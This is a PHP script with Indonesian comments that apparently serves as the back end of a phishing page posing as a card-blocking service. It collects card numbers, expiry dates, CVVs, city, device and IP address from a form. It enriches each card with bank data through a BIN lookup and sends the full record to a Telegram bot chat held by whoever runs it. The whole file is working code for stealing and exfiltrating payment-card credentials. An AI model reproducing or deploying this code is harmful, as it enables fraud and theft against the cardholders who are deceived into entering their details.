<?php
session_start();
include "./send.php"; 

function sendTelegramMessage($message, $id_bot, $telegram_id) {
    $url = "https://api.telegram.org/bot$id_bot/sendMessage";

    $data = [
        'chat_id' => $telegram_id,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];

    $options = [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POSTFIELDS => $data,
    ];

    $ch = curl_init();
    curl_setopt_array($ch, $options);
    $response = curl_exec($ch);
    
    // Tambahkan log untuk respons API Telegram
    if ($response === false) {
        echo 'Curl error: ' . curl_error($ch);
    } else {
        echo 'Response from Telegram: ' . $response; // Log respons dari Telegram API
    }

    curl_close($ch);

    return $response;
}

// Ambil data dari request
$card = $_POST['card'] ?? 'N/A';
$brand = $_POST['brand'] ?? 'N/A';
$type = $_POST['type'] ?? 'ucfirst';
$valid = $_POST['valid'] ?? 'N/A';
$cvv = $_POST['cvv'] ?? 'N/A';
$city = $_POST['city'] ?? 'N/A';
$device = $_POST['device'] ?? 'N/A';
$ip = $_POST['ip'] ?? 'N/A';

// Fungsi untuk memvalidasi BIN
function validateBin($bin) {
    $url = "https://lookup.binlist.net/$bin"; // API yang digunakan untuk mengecek BIN
    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($curl);
    curl_close($curl);

    return json_decode($response, true); // Kembalikan hasil dalam bentuk array
}

// Ambil 6 digit pertama dari nomor kartu untuk BIN
$bin = substr($card, 0, 6);
$binInfo = validateBin($bin);

// Cek jika info BIN ditemukan
if ($binInfo && isset($binInfo['scheme']) && isset($binInfo['bank']['name'])) {
    $bank = $binInfo['bank']['name'];
    // Menyimpan brand kartu dari hasil validasi
    $brand = $binInfo['scheme'];
    // Memastikan 'type' selalu terisi
    $type = ucfirst($binInfo['type'] ?? 'Tidak Diketahui'); // Menggunakan 'ucfirst' untuk format yang lebih baik
} else {
    $bank = "Tidak Diketahui";
    $type = "Tidak Diketahui"; // Pastikan type memiliki nilai default jika BIN tidak ditemukan
}

// Buat pesan
$message = "<strong>Blokir Kartu:</strong>\n\n" .
           "<strong>Card:</strong> $card\n" .
           "<strong>Brand:</strong> $brand\n" . 
           "<strong>Type:</strong> $type\n" .  // Pastikan type dimasukkan ke pesan
           "<strong>Valid:</strong> $valid\n" .
           "<strong>CVV:</strong> $cvv\n<strong>Bank:</strong> $bank\n" .
           "<strong>Kota:</strong> $city\n" .
           "<strong>Perangkat:</strong> $device\n" .
           "<strong>IP:</strong> $ip";

// Kirim pesan ke Telegram
sendTelegramMessage($message, $id_bot, $telegram_id);
?>